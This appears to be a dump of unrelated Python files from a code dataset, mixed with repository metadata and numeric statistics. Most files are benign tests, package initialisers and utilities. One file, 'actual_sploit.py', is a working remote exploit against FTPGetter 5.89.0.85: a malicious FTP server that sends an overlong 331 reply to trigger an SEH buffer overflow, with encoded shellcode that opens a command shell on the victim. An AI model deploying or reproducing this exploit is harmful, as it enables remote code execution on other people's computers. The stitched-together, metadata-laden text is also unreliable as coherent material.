Train</value></part></template>\n\n<template lineStart=\"1\"><title>John Coltrane</title></template>\n\n<template lineStart=\"1\"><title>DEFAULTSORT:Blue Train</title></template>\n[[Category:1958 albums]]\n[[Category:Albums produced by Alfred Lion]]\n[[Category:Blue Note Records albums]]\n[[Category:Grammy Hall of Fame Award recipients]]\n[[Category:Hard bop albums]]\n[[Category:John Coltrane albums]]\n[[Category:Instrumental albums]]\n[[Category:Albums recorded at Van Gelder Studio]]</root>" } } """ cache = {'info': {'status': 200}, 'query': query, 'response': response}

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7538ab8f5f22694310200299efb04d802b7c2277

42

py

Python

tapis_cli/commands/registry/__init__.py

bpachev/tapis-cli

c3128fb5b63ef74e06b737bbd95ef28fb24f0d32

[ "BSD-3-Clause" ]

8

2020-10-18T22:48:23.000Z

2022-01-10T09:16:14.000Z

tapis_cli/commands/registry/__init__.py

bpachev/tapis-cli

c3128fb5b63ef74e06b737bbd95ef28fb24f0d32

[ "BSD-3-Clause" ]

238

2019-09-04T14:37:54.000Z

2020-04-15T16:24:24.000Z

tapis_cli/commands/registry/__init__.py

bpachev/tapis-cli

c3128fb5b63ef74e06b737bbd95ef28fb24f0d32

[ "BSD-3-Clause" ]

5

2019-09-20T04:23:49.000Z

2020-01-16T17:45:14.000Z

"""Docker container registry commands """

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7,707

py

Python

tests/test_modifiers_mujoco.py

MoritzTaylor/simmod

76b2186c39940ce2d08aa36f3d06bfe3640d6c00

[ "MIT" ]

2

2021-07-05T14:08:09.000Z

2021-10-01T09:48:37.000Z

tests/test_modifiers_mujoco.py

MoritzTaylor/simmod

76b2186c39940ce2d08aa36f3d06bfe3640d6c00

[ "MIT" ]

null

tests/test_modifiers_mujoco.py

MoritzTaylor/simmod

76b2186c39940ce2d08aa36f3d06bfe3640d6c00

[ "MIT" ]

null

import pytest import xml.etree.ElementTree as ET import numpy as np from mujoco_py import load_model_from_xml, MjSim, load_model_from_path from simmod.modification.mujoco import MujocoBodyModifier from simmod.modification.mujoco import MujocoJointModifier TEST_MODEL_FURUTA_PATH = 'assets/test_mujoco_furuta.xml' TEST_MODEL_FRICTION_PATH = 'assets/test_mujoco_friction.xml' def start_trajectory(sim, steps=1000, ctrl=3, viewer=None): traj = list() for _ in range(steps): if sim.data.ctrl is not None: sim.data.ctrl[:] = ctrl sim.step() traj.append(sim.get_state().qpos) ctrl = 0 if viewer is not None: viewer.render() return traj def find_body(body, name): for b in body.findall('body'): body_name = b.get('name') if body_name == name: return b else: if find_body(b, name) is not None: return find_body(b, name) else: continue else: if body.get('name') == "worldbody": raise NameError(f"Cannot find body {name}") ###################### BODY ###################### def test_mujoco_body_modifier_mass(): # Create the trajectory by changing the XML tree = ET.parse(TEST_MODEL_FURUTA_PATH) model_xml = tree.getroot() worldbody = model_xml.find('worldbody') body = find_body(worldbody, 'pole') inertia = body.find('inertial') inertia.set('mass', str(0.09)) model_string = ET.tostring(model_xml, encoding='unicode', method='xml') model = load_model_from_xml(model_string) sim = MjSim(model) traj_xml = np.asarray(start_trajectory(sim)) # Create the trajectory with the modifier which should be the same as the XML generated trajectory del sim, model, model_string, tree model = load_model_from_path(TEST_MODEL_FURUTA_PATH) sim = MjSim(model) body_mod = MujocoBodyModifier(sim) body_mod.set_mass("pole", 0.09) sim.set_constants() traj_mod = np.asarray(start_trajectory(sim)) assert np.sum(traj_mod - traj_xml) == 0.0 # Create another trajectory with the modifier which should be different now del sim, model, body_mod, traj_mod model = load_model_from_path(TEST_MODEL_FURUTA_PATH) sim = MjSim(model) body_mod = MujocoBodyModifier(sim) body_mod.set_mass("pole", 0.01) sim.set_constants() traj_mod = np.asarray(start_trajectory(sim)) assert np.sum(traj_mod - traj_xml) != 0.0 def test_mujoco_body_modifier_inertia(): # Create the trajectory by changing the XML tree = ET.parse(TEST_MODEL_FURUTA_PATH) model_xml = tree.getroot() worldbody = model_xml.find('worldbody') body = find_body(worldbody, 'pole') inertia = body.find('inertial') inertia.set('diaginertia', "5e-05 5e-05 5e-07") model_string = ET.tostring(model_xml, encoding='unicode', method='xml') model = load_model_from_xml(model_string) sim = MjSim(model) traj_xml = np.asarray(start_trajectory(sim)) # Create the trajectory with the modifier which should be the same as the XML generated trajectory del sim, model, model_string, tree model = load_model_from_path(TEST_MODEL_FURUTA_PATH) sim = MjSim(model) body_mod = MujocoBodyModifier(sim) body_mod.set_diaginertia("pole", [5e-05, 5e-05, 5e-07]) sim.set_constants() traj_mod = np.asarray(start_trajectory(sim)) assert np.sum(traj_mod - traj_xml) == 0.0 # Create another trajectory with the modifier which should be different now del sim, model, body_mod, traj_mod model = load_model_from_path(TEST_MODEL_FURUTA_PATH) sim = MjSim(model) body_mod = MujocoBodyModifier(sim) body_mod.set_diaginertia("pole", [6e-05, 6e-05, 6e-07]) sim.set_constants() traj_mod = np.asarray(start_trajectory(sim)) assert np.sum(traj_mod - traj_xml) != 0.0 def test_mujoco_body_modifier_friction(): # Create the trajectory by changing the XML tree = ET.parse(TEST_MODEL_FRICTION_PATH) model_xml = tree.getroot() worldbody = model_xml.find('worldbody') body = find_body(worldbody, 'plane') geom = body.find('geom') geom.set('friction', f"{0.5} {0.5} {0.5}") body = find_body(worldbody, 'ball') geom = body.find('geom') geom.set('friction', f"{0.5} {0.5} {0.5}") model_string = ET.tostring(model_xml, encoding='unicode', method='xml') model = load_model_from_xml(model_string) sim = MjSim(model) traj_xml = np.asarray(start_trajectory(sim)) # Create the trajectory with the modifier which should be the same as the XML generated trajectory del sim, model, model_xml, model_string, tree model = load_model_from_path(TEST_MODEL_FRICTION_PATH) sim = MjSim(model) body_mod = MujocoBodyModifier(sim) body_mod.set_friction("ball", [0.5, 0.5, 0.5]) body_mod.set_friction("plane", [0.5, 0.5, 0.5]) sim.set_constants() traj_mod = np.asarray(start_trajectory(sim)) assert np.sum(traj_mod - traj_xml) == 0.0 # Create another trajectory with the modifier which should be different now del sim, model, traj_mod, body_mod model = load_model_from_path(TEST_MODEL_FRICTION_PATH) sim = MjSim(model) body_mod = MujocoBodyModifier(sim) body_mod.set_friction("ball", [1., 0.5, 0.5]) body_mod.set_friction("plane", [1., 0.5, 0.5]) sim.set_constants() traj_mod = np.asarray(start_trajectory(sim)) assert np.sum(traj_mod - traj_xml) != 0.0 ###################### JOINT ###################### def test_mujoco_joint_modifier_damping(): # Create the trajectory with the modifier which should be the same as the XML generated trajectory # model = load_model_from_path(TEST_MODEL_FURUTA_PATH) sim = MjSim(model) jnt_mod = MujocoJointModifier(sim) jnt_mod.set_damping("arm_pole", 3e-4) sim.set_constants() traj_mod = np.asarray(start_trajectory(sim)) # Create the trajectory by changing the XML del sim, model, jnt_mod tree = ET.parse(TEST_MODEL_FURUTA_PATH) model_xml = tree.getroot() worldbody = model_xml.find('worldbody') body = find_body(worldbody, 'arm') joints = body.findall('joint') for joint in joints: if joint.get('name') == "arm_pole": joint.set('damping', str(3e-4)) model_string = ET.tostring(model_xml, encoding='unicode', method='xml') model = load_model_from_xml(model_string) sim = MjSim(model) traj_xml = np.asarray(start_trajectory(sim)) assert np.sum(traj_mod - traj_xml) == 0.0 # Create another trajectory with the modifier which should be different now del sim, model, traj_mod model = load_model_from_path(TEST_MODEL_FURUTA_PATH) sim = MjSim(model) jnt_mod = MujocoJointModifier(sim) jnt_mod.set_damping("arm_pole", 1e-4) sim.set_constants() traj_mod = np.asarray(start_trajectory(sim)) assert np.sum(traj_mod - traj_xml) != 0.0 def test_mujoco_body_modifier_position(): from inspect import signature random_state = np.random.RandomState() model = load_model_from_path(TEST_MODEL_FURUTA_PATH) sim = MjSim(model) body_mod = MujocoBodyModifier(sim) setter_func = body_mod.set_pos if setter_func.__defaults__ is not None: # in case there are no kwargs n_kwargs = len(setter_func.__defaults__) else: n_kwargs = 0 sig = signature(setter_func) n_params = len( sig.parameters) - n_kwargs - 1 # Exclude name & non-positional arguments new_values = [] for _ in range(n_params): values = np.array([random_state.uniform(1, 1) for i in range(3)]) new_values.append(values) setter_func('pole', *new_values)

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f3769ab6fea4c9708d44e62ffb54dbaaf6ae6c86

141

py

Python

danspeech/audio/__init__.py

la3lma/danspeech

acd9dd1e2b9750292bd27c97ee25cf65edc196f2

[ "Apache-2.0" ]

21

2019-08-29T07:02:02.000Z

2022-03-15T08:58:46.000Z

danspeech/audio/__init__.py

la3lma/danspeech

acd9dd1e2b9750292bd27c97ee25cf65edc196f2

[ "Apache-2.0" ]

11

2019-08-29T06:56:49.000Z

2022-02-16T15:22:17.000Z

danspeech/audio/__init__.py

la3lma/danspeech

acd9dd1e2b9750292bd27c97ee25cf65edc196f2

[ "Apache-2.0" ]

3

2020-04-21T13:04:32.000Z

2021-04-27T10:04:51.000Z

from .resources import load_audio, load_audio_wavPCM, Microphone from .parsers import SpectrogramAudioParser, InferenceSpectrogramAudioParser

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5

45f38769527ae3a0d774c20200bfcf7272226d31

82

py

Python

DeepSaki/initializer/helper/__init__.py

sascha-kirch/DeepSaki

cfe6bd6537a2b0793d4db4041f2efb37d480cb4c

[ "MIT" ]

null

DeepSaki/initializer/helper/__init__.py

sascha-kirch/DeepSaki

cfe6bd6537a2b0793d4db4041f2efb37d480cb4c

[ "MIT" ]

null

DeepSaki/initializer/helper/__init__.py

sascha-kirch/DeepSaki

cfe6bd6537a2b0793d4db4041f2efb37d480cb4c

[ "MIT" ]

null

from DeepSaki.initializer.helper.initializer_helper import MakeInitializerComplex

41

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5

45fd730850b8a6b4ec310867313c9107cd5544f0

179

py

Python

src/phl_budget_data/etl/qcmr/cash/__init__.py

PhiladelphiaController/phl-budget-data

438999017b8659de5bfb223a038f49fe6fd4a83a

[ "MIT" ]

null

src/phl_budget_data/etl/qcmr/cash/__init__.py

PhiladelphiaController/phl-budget-data

438999017b8659de5bfb223a038f49fe6fd4a83a

[ "MIT" ]

null

src/phl_budget_data/etl/qcmr/cash/__init__.py

PhiladelphiaController/phl-budget-data

438999017b8659de5bfb223a038f49fe6fd4a83a

[ "MIT" ]

null

from .fund_balances import CashReportFundBalances from .net_cash_flow import CashReportNetCashFlow from .revenue import CashReportRevenue from .spending import CashReportSpending

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true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

340c098a1014ab544a0824e50cb571ef2441fcc8

44

py

Python

k8s/images/codalab/apps/web/exceptions.py

abdulari/codalab-competitions

fdfbb77ac62d56c6b4b9439935037f97ffcd1423

[ "Apache-2.0" ]

333

2015-12-29T22:49:40.000Z

2022-03-27T12:01:57.000Z

k8s/images/codalab/apps/web/exceptions.py

abdulari/codalab-competitions

fdfbb77ac62d56c6b4b9439935037f97ffcd1423

[ "Apache-2.0" ]

1,572

2015-12-28T21:54:00.000Z

2022-03-31T13:00:32.000Z

k8s/images/codalab/apps/web/exceptions.py

abdulari/codalab-competitions

fdfbb77ac62d56c6b4b9439935037f97ffcd1423

[ "Apache-2.0" ]

107

2016-01-08T03:46:07.000Z

2022-03-16T08:43:57.000Z

class ScoringException(Exception): pass

14.666667

34

0.772727

4

44

8.5

1

0

0.159091

44

2

35

22

0.918919

0

1

0

true

0.5

0

0.5

0

1

0

null

0

1

0

null

0

1

0

5

341849ca4ff92816697b83c9176a8ba030d1dee6

274

py

Python

Lab6-Networks-Graphs/solutions/ex1_1.py

computational-medicine/BMED360-2021

2c6052b9affedf1fee23c89d23941bf08eb2614c

[ "MIT" ]

2

2021-04-19T23:22:17.000Z

2021-04-20T14:04:58.000Z

Lab6-Networks-Graphs/solutions/ex1_1.py

computational-medicine/BMED360-2021

2c6052b9affedf1fee23c89d23941bf08eb2614c

[ "MIT" ]

null

Lab6-Networks-Graphs/solutions/ex1_1.py

computational-medicine/BMED360-2021

2c6052b9affedf1fee23c89d23941bf08eb2614c

[ "MIT" ]

null

labels = {0:'A', 1:'B', 2:'C', 3:'D', 4:'E'} A = np.array([ [0., 1., 0., 1., 0.], [0., 0., 0., 0., 0.], [1., 0., 0., 0., 0.], [0., 0., 1., 0., 1.], [0., 0., 0., 0., 0.]]) print(f' A =\n {A}, \n A^T =\n {A.T}') print(f'labels: {labels}')

22.833333

44

0.29927

54

274

1.518519

0.314815

0.341463

0.402439

0.390244

0.304878

0.207317

0

0.15625

0.29927

274

11

45

24.909091

0.270833

0

0.178832

0

1

0

false

0

0.222222

0

1

null

1

0

1

0

null

0

5

3465e4df532d410ea7946841819bd922c9700557

1,369

py

Python

das/notification.py

davidcast95/das

245b96e1316e99fa30862622755cd68fce0ff979

[ "MIT" ]

null

das/notification.py

davidcast95/das

245b96e1316e99fa30862622755cd68fce0ff979

[ "MIT" ]

null

das/notification.py

davidcast95/das

245b96e1316e99fa30862622755cd68fce0ff979

[ "MIT" ]

null

import frappe from frappe.utils import get_request_session import json def send_notification(auth_key,data): try: s = get_request_session() url = "https://fcm.googleapis.com/fcm/send" header = {"Authorization": "key={}".format(auth_key),"Content-Type": "application/json"} content = { "to":"/topics/all", "data":data } res = s.post(url=url,headers=header,data=json.dumps(content)) return res except: return "Error" def send_notification(user,auth_key,data): try: s = get_request_session() url = "https://fcm.googleapis.com/fcm/send" user = frappe.get_doc("User",user) if (len(user.social_logins) > 0): frappe_userid = user.social_logins[0].userid header = {"Authorization": "key={}".format(auth_key),"Content-Type": "application/json"} content = { "to":"/topics/{}".format(frappe_userid), "data":data } res = s.post(url=url,headers=header,data=json.dumps(content)) return res except: return "Error" def send_notification_by_mobile_no(mobile_no,auth_key,data): try: s = get_request_session() url = "https://fcm.googleapis.com/fcm/send" header = {"Authorization": "key={}".format(auth_key),"Content-Type": "application/json"} content = { "to":"/topics/{}".format(mobile_no), "data":data } res = s.post(url=url,headers=header,data=json.dumps(content)) except: return "Error"

25.830189

91

0.681519

188

1,369

4.819149

0.255319

0.046358

0.075055

0.046358

0.754967

0

0.001706

0.143901

1,369

52

92

26.326923

0.771331

0

0.659091

0

0.229365

0

1

0.068182

false

0

0.068182

0

0.25

0

null

0

1

0

null

0

5

347bdf3e4ec485ca7399c31e32fb019b8d475476

1,041

py

Python

__estimators__/decorator.py

dmitrydavydov96/quantmodels

609b453fec32d7def4d4aed40b8d25969ba8b702

[ "MIT" ]

null

__estimators__/decorator.py

dmitrydavydov96/quantmodels

609b453fec32d7def4d4aed40b8d25969ba8b702

[ "MIT" ]

null

__estimators__/decorator.py

dmitrydavydov96/quantmodels

609b453fec32d7def4d4aed40b8d25969ba8b702

[ "MIT" ]

null

from abc import ABC, abstractmethod class __LinearModel(ABC): @abstractmethod def _sample_split(self): pass @abstractmethod def _fit(self): pass @abstractmethod def _predict(self): pass @abstractmethod def _metrics(self): pass @abstractmethod def _backtests(self): pass @abstractmethod def _cross_validation(self): pass # ----------------------------------------------- class __AbstractModel(__LinearModel): def __init__(self, model): self.model = model def _sample_split(self): return self.model.sample_split() def _fit(self): return self.model.predict() def _predict(self): return self.model.predict() def _metrics(self): return self.model.metrics() def _backtests(self): return self.model.backtests() def _cross_validation(self): return self.model.cross_validation()

20.019231

49

0.555235

96

1,041

5.729167

0.21875

0.130909

0.152727

0.207273

0.105455

0

0.322767

1,041

52

50

20.019231

0.780142

0.045149

0

0.742857

0

1

0.371429

false

0.171429

0.028571

0.171429

0.628571

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

5

caffd1b73a689729f231cad50675ec1c7e0fe3f4

29

py

Python

ephypype/gather/__init__.py

jasmainak/ephypype

257603cbb099cef7847a96c8eb141332fb85ebfa

[ "BSD-3-Clause" ]

null

ephypype/gather/__init__.py

jasmainak/ephypype

257603cbb099cef7847a96c8eb141332fb85ebfa

[ "BSD-3-Clause" ]

null

ephypype/gather/__init__.py

jasmainak/ephypype

257603cbb099cef7847a96c8eb141332fb85ebfa

[ "BSD-3-Clause" ]

null

from . import gather_conmats

14.5

28

0.827586

4

29

5.75

1

0

0.137931

29

1

29

0.92

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

5

1b27721ad20a6f967e898161ac04a023ab310d6a

339

py

Python

Part 1/Chapter 3/exercise_3.9.py

kg55555/pypractice

1867f001b3d2a7174ea00d7b9e2fa22e9f1877ef

[ "MIT" ]

null

Part 1/Chapter 3/exercise_3.9.py

kg55555/pypractice

1867f001b3d2a7174ea00d7b9e2fa22e9f1877ef

[ "MIT" ]

null

Part 1/Chapter 3/exercise_3.9.py

kg55555/pypractice

1867f001b3d2a7174ea00d7b9e2fa22e9f1877ef

[ "MIT" ]

null

famous = ['steve jobs','bill gates', 'gandhi'] print(f"Hello {famous[0].title()}, I'd like to invite you to dinner with me!") print(f"Hello {famous[1].title()}, I'd like to invite you to dinner with me!") print(f"Hello {famous[2].title()}, I'd like to invite you to dinner with me!") print("I'm inviting",len(famous), "people to dinner!")

56.5

78

0.678466

63

339

3.650794

0.412698

0.13913

0.143478

0.221739

0.63913

0

0.010169

0.129794

339

5

79

67.8

0.769492

0

0.764012

0

1

0

false

0

0.8

0

null

0

1

0

1

0

1

0

1

0

null

0

1

0

5

1b33e3d9d852feb57054b91aa6e7e0dcf90b25fb

4,640

py

Python

evil-dir/actual_sploit.py

nxkennedy/shakedown

280a466582bb8009d96dda5a69cbf296a11709c5

[ "MIT" ]

null

evil-dir/actual_sploit.py

nxkennedy/shakedown

280a466582bb8009d96dda5a69cbf296a11709c5

[ "MIT" ]

null

evil-dir/actual_sploit.py

nxkennedy/shakedown

280a466582bb8009d96dda5a69cbf296a11709c5

[ "MIT" ]

null

!/usr/bin/python # Exploit Title: FTPGetter 5.89.0.85 Remote SEH Buffer Overflow # Date: 07/14/2017 # Exploit Author: Paul Purcell # Contact: ptpxploit at gmail # Vendor Homepage: https://www.ftpgetter.com/ # Vulnerable Version Download: Available for 30 days here: (https://ufile.io/2celn) I can upload again upon request # Version: FTPGetter 5.89.0.85 (also works on earlier versions) # Tested on: Windows 10 Pro 1703 x64 # Youtube Demonstration of Exploit: https://www.youtube.com/watch?v=AuAiQwGP-ww # Category: Remote Code Execution # # Timeline: 05/25/16 Bug found # 05/31/16 Vender notified - no response # 07/15/16 Vender notified - no response # -------- Vender notified multiple times over a year, no response. # 07/14/17 Exploit Published # # Summary: There is a buffer overflow in the log viewer/parser of FTPGetter. When a malicious ftp server returns a long # 331 response, the overflow overwrites SEH produced is exploitable. There are many bad characters, so I had to ascii encode everything. # My PoC runs code to launch a command shell. Also note the time of day is displayed in the log viewer, which will # change the length of the buffer needed. Just adjust your sled accordingly. from socket import * #ascii encoded launch cmd.exe buf = "" buf += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30" buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42" buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" buf += "\x4b\x4c\x6b\x58\x4f\x72\x67\x70\x43\x30\x55\x50\x33" buf += "\x50\x4f\x79\x4a\x45\x44\x71\x4f\x30\x71\x74\x6c\x4b" buf += "\x70\x50\x34\x70\x4e\x6b\x61\x42\x54\x4c\x4c\x4b\x42" buf += "\x72\x47\x64\x4e\x6b\x64\x32\x44\x68\x36\x6f\x4c\x77" buf += "\x42\x6a\x46\x46\x30\x31\x4b\x4f\x4c\x6c\x57\x4c\x31" buf += "\x71\x63\x4c\x44\x42\x64\x6c\x35\x70\x7a\x61\x38\x4f" buf += "\x56\x6d\x55\x51\x6f\x37\x38\x62\x4c\x32\x61\x42\x52" buf += "\x77\x4c\x4b\x51\x42\x32\x30\x6e\x6b\x50\x4a\x77\x4c" buf += "\x4e\x6b\x42\x6c\x34\x51\x44\x38\x68\x63\x32\x68\x66" buf += "\x61\x58\x51\x62\x71\x6c\x4b\x76\x39\x35\x70\x35\x51" buf += "\x49\x43\x4e\x6b\x37\x39\x67\x68\x68\x63\x55\x6a\x72" buf += "\x69\x4c\x4b\x64\x74\x4e\x6b\x65\x51\x5a\x76\x35\x61" buf += "\x69\x6f\x4c\x6c\x6b\x71\x78\x4f\x54\x4d\x57\x71\x39" buf += "\x57\x46\x58\x79\x70\x51\x65\x4c\x36\x67\x73\x51\x6d" buf += "\x38\x78\x67\x4b\x73\x4d\x64\x64\x32\x55\x39\x74\x56" buf += "\x38\x4c\x4b\x62\x78\x54\x64\x37\x71\x79\x43\x75\x36" buf += "\x4e\x6b\x46\x6c\x42\x6b\x4e\x6b\x56\x38\x47\x6c\x46" buf += "\x61\x5a\x73\x6c\x4b\x45\x54\x4c\x4b\x33\x31\x48\x50" buf += "\x4c\x49\x73\x74\x44\x64\x44\x64\x33\x6b\x53\x6b\x50" buf += "\x61\x73\x69\x63\x6a\x62\x71\x59\x6f\x6b\x50\x53\x6f" buf += "\x51\x4f\x32\x7a\x4e\x6b\x72\x32\x7a\x4b\x4e\x6d\x31" buf += "\x4d\x52\x4a\x35\x51\x4c\x4d\x4c\x45\x38\x32\x67\x70" buf += "\x63\x30\x53\x30\x66\x30\x75\x38\x36\x51\x6e\x6b\x52" buf += "\x4f\x4f\x77\x39\x6f\x4b\x65\x4d\x6b\x6a\x50\x4f\x45" buf += "\x4f\x52\x30\x56\x42\x48\x6e\x46\x6f\x65\x6f\x4d\x6d" buf += "\x4d\x49\x6f\x7a\x75\x45\x6c\x73\x36\x51\x6c\x37\x7a" buf += "\x4b\x30\x39\x6b\x39\x70\x30\x75\x76\x65\x6d\x6b\x72" buf += "\x67\x32\x33\x52\x52\x62\x4f\x51\x7a\x75\x50\x76\x33" buf += "\x79\x6f\x4b\x65\x55\x33\x62\x4d\x72\x44\x34\x6e\x53" buf += "\x55\x43\x48\x61\x75\x57\x70\x41\x41" #All the normal ways to jump back to code I control code were bad characters, so again had to ascii encode jmpback = "" jmpback += "\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" jmpback += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30" jmpback += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42" jmpback += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" jmpback += "\x4e\x6d\x4d\x6e\x46\x70\x49\x6e\x6b\x4f\x4b\x4f\x49" jmpback += "\x6f\x6a\x47\x41\x41" host = "0.0.0.0" port = 21 sled="NjoyUrShell!" fill="\x41"*(480-len(buf)) nseh="\x74\x06\x90\x90" seh="\xad\x11\x4d\x00" prepesi="\x58\x58\x58\x8d\x70\x10\x90\x90" jnk="B"*400 sploit=(sled+buf+fill+nseh+seh+prepesi+jmpback+jnk) sock = socket(AF_INET, SOCK_STREAM) sock.bind((host, 21)) sock.listen(1) print "Anti-FtpGetter FTP Server Started!" print "Ready to pwn on port %d..." % port connect, hostip = sock.accept() print "Connection accepted from %s" % hostip[0] connect.send("220 Welcome to pwnServ, Serving sploit in 3..2..1..\r\n") connect.recv(64) # Receive USER print "Sending EViL 331 response" connect.send("331 "+sploit+"\r\n") print "Here, have a handy dandy command shell!" connect.close() sock.close()

46.4

147

0.694397

899

4,640

3.581758

0.299221

0.052174

0.067081

0.074534

0.120497

0.095031

0

0.239062

0.108405

4,640

99

148

46.868687

0.53928

0.293534

0

0.567164

0.717492

0.628343

0

null

0

0.014925

null

0.074627

0

null

0

1

0

1

null

0

1

0

5

1b85f4ca9f34f8676f4ce208d41c5daed191a632

59

py

Python

moto/swf/utils.py

jonnangle/moto-1

40b4e299abb732aad7f56cc0f680c0a272a46594

[ "Apache-2.0" ]

5,460

2015-01-01T01:11:17.000Z

2022-03-31T23:45:38.000Z

moto/swf/utils.py

jonnangle/moto-1

40b4e299abb732aad7f56cc0f680c0a272a46594

[ "Apache-2.0" ]

4,475

2015-01-05T19:37:30.000Z

2022-03-31T13:55:12.000Z

moto/swf/utils.py

jonnangle/moto-1

40b4e299abb732aad7f56cc0f680c0a272a46594

[ "Apache-2.0" ]

1,831

2015-01-14T00:00:44.000Z

2022-03-31T20:30:04.000Z

def decapitalize(key): return key[0].lower() + key[1:]

19.666667

35

0.627119

9

59

4.111111

0.777778

0

0.040816

0.169492

59

2

36

29.5

0.714286

0

1

0.5

false

0

0.5

1

0

1

0

null

0

1

0

null

0

1

0

1

0

5

1bb0d457e17e75fde37dc7cb2a27e8e10c174a94

49

py

Python

drain3/__init__.py

ieven/Drain3

0e4157bc33462dba7c2a72ba4c3fbfdbdecd2cfa

[ "MIT" ]

175

2020-03-05T10:47:15.000Z

2022-03-31T15:13:08.000Z

drain3/__init__.py

ieven/Drain3

0e4157bc33462dba7c2a72ba4c3fbfdbdecd2cfa

[ "MIT" ]

43

2020-03-09T10:56:58.000Z

2022-03-31T23:12:33.000Z

drain3/__init__.py

ieven/Drain3

0e4157bc33462dba7c2a72ba4c3fbfdbdecd2cfa

[ "MIT" ]

53

2020-03-09T09:59:20.000Z

2022-03-30T18:04:11.000Z

from drain3.template_miner import TemplateMiner

16.333333

47

0.877551

6

49

7

1

0

0.022727

0.102041

49

2

48

24.5

0.931818

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

5

1bc0771c055dd72e5c309407645ee0f915a8b642

24

py

Python

before/0124/2743.py

Kwak-JunYoung/154Algoritm-5weeks

fa18ae5f68a1ee722a30a05309214247f7fbfda4

[ "MIT" ]

3

2022-01-24T03:06:32.000Z

2022-01-30T08:43:58.000Z

before/0124/2743.py

Kwak-JunYoung/154Algoritm-5weeks

fa18ae5f68a1ee722a30a05309214247f7fbfda4

[ "MIT" ]

null

before/0124/2743.py

Kwak-JunYoung/154Algoritm-5weeks

fa18ae5f68a1ee722a30a05309214247f7fbfda4

[ "MIT" ]

2

2022-01-24T02:27:40.000Z

2022-01-30T08:57:03.000Z

print(len(str(input())))

24

0.666667

4

24

4

1

0

24

1

24

0.666667

0

1

0

true

0

1

0

null

0

1

0

null

0

1

0

1

0

5

941ac9a588b0f7f631258968825a911c7c67938a

1,388

py

Python

package/PartSeg/plugins/napari_widgets/__init__.py

neuromusic/PartSeg

a4edff1b9fbe55eb7f5e1fc8b5b3f8e730b35caf

[ "BSD-3-Clause" ]

15

2020-03-21T03:27:56.000Z

2022-03-21T07:46:39.000Z

package/PartSeg/plugins/napari_widgets/__init__.py

neuromusic/PartSeg

a4edff1b9fbe55eb7f5e1fc8b5b3f8e730b35caf

[ "BSD-3-Clause" ]

479

2019-10-27T22:57:22.000Z

2022-03-30T12:48:14.000Z

package/PartSeg/plugins/napari_widgets/__init__.py

neuromusic/PartSeg

a4edff1b9fbe55eb7f5e1fc8b5b3f8e730b35caf

[ "BSD-3-Clause" ]

5

2020-02-05T14:25:02.000Z

2021-12-21T03:44:52.000Z

from napari_plugin_engine import napari_hook_implementation from PartSeg.plugins.napari_widgets.mask_create_widget import MaskCreateNapari from PartSeg.plugins.napari_widgets.roi_extraction_algorithms import ROIAnalysisExtraction, ROIMaskExtraction from PartSeg.plugins.napari_widgets.search_label_widget import SearchLabel @napari_hook_implementation def napari_experimental_provide_dock_widget(): from PartSeg.plugins.napari_widgets.simple_measurement_widget import SimpleMeasurement return SimpleMeasurement @napari_hook_implementation(specname="napari_experimental_provide_dock_widget") def napari_experimental_provide_dock_widget1(): return ROIAnalysisExtraction @napari_hook_implementation(specname="napari_experimental_provide_dock_widget") def napari_experimental_provide_dock_widget2(): return ROIMaskExtraction @napari_hook_implementation(specname="napari_experimental_provide_dock_widget") def napari_experimental_provide_dock_widget3(): return MaskCreateNapari @napari_hook_implementation(specname="napari_experimental_provide_dock_widget") def napari_experimental_provide_dock_widget4(): from PartSeg.plugins.napari_widgets.measurement_widget import Measurement return Measurement @napari_hook_implementation(specname="napari_experimental_provide_dock_widget") def napari_experimental_provide_dock_widget5(): return SearchLabel

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94469ec893b63ee14bfa7d21379d184d4d336ea8

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py

Python

__init__.py

AustinCasteel/FacebookBirthdays

aac83eab7b76bad37ff3e074e3a5b45b12107217

[ "MIT" ]

null

__init__.py

AustinCasteel/FacebookBirthdays

aac83eab7b76bad37ff3e074e3a5b45b12107217

[ "MIT" ]

null

__init__.py

AustinCasteel/FacebookBirthdays

aac83eab7b76bad37ff3e074e3a5b45b12107217

[ "MIT" ]

null

# -*- coding: utf-8 -*- from .facebookbirthday import FacebookBirthdayPlugin

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0

5

944b24d006ea6d6534e3cafb96fdf06a586981fc

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py

Python

tests/__init__.py

codiceviola/environ

1173690a84a85efe43fd5a26443b4f43f96f3e98

[ "Apache-2.0" ]

null

tests/__init__.py

codiceviola/environ

1173690a84a85efe43fd5a26443b4f43f96f3e98

[ "Apache-2.0" ]

null

tests/__init__.py

codiceviola/environ

1173690a84a85efe43fd5a26443b4f43f96f3e98

[ "Apache-2.0" ]

null

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1

0

null

0

1

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5

947433b9a8d5f78f0611c57201560dd8bfa28250

229

py

Python

economy/exc.py

bk62/botter.py

73799a5c0415bd2b52483f3dd02c37b81c70d631

[ "MIT" ]

null

economy/exc.py

bk62/botter.py

73799a5c0415bd2b52483f3dd02c37b81c70d631

[ "MIT" ]

null

economy/exc.py

bk62/botter.py

73799a5c0415bd2b52483f3dd02c37b81c70d631

[ "MIT" ]

null

from discord.ext import commands class WalletOpFailedException(commands.CommandError): pass class NoMatchingCurrency(WalletOpFailedException): pass class MultipleMatchingCurrencies(WalletOpFailedException): pass

17.615385

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0

1

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1

0

5

84f11b9075e7dca292405b9b7362e0bde6337c4a

102

py

Python

app/assessment/__init__.py

kurapikaaaa/CITS3403Project

8958219845d5251830f2abd7c58dfd87d97b8c4a

[ "MIT" ]

1

2021-08-04T12:50:57.000Z

app/assessment/__init__.py

kurapikaaaa/CITS3403Project

8958219845d5251830f2abd7c58dfd87d97b8c4a

[ "MIT" ]

null

app/assessment/__init__.py

kurapikaaaa/CITS3403Project

8958219845d5251830f2abd7c58dfd87d97b8c4a

[ "MIT" ]

1

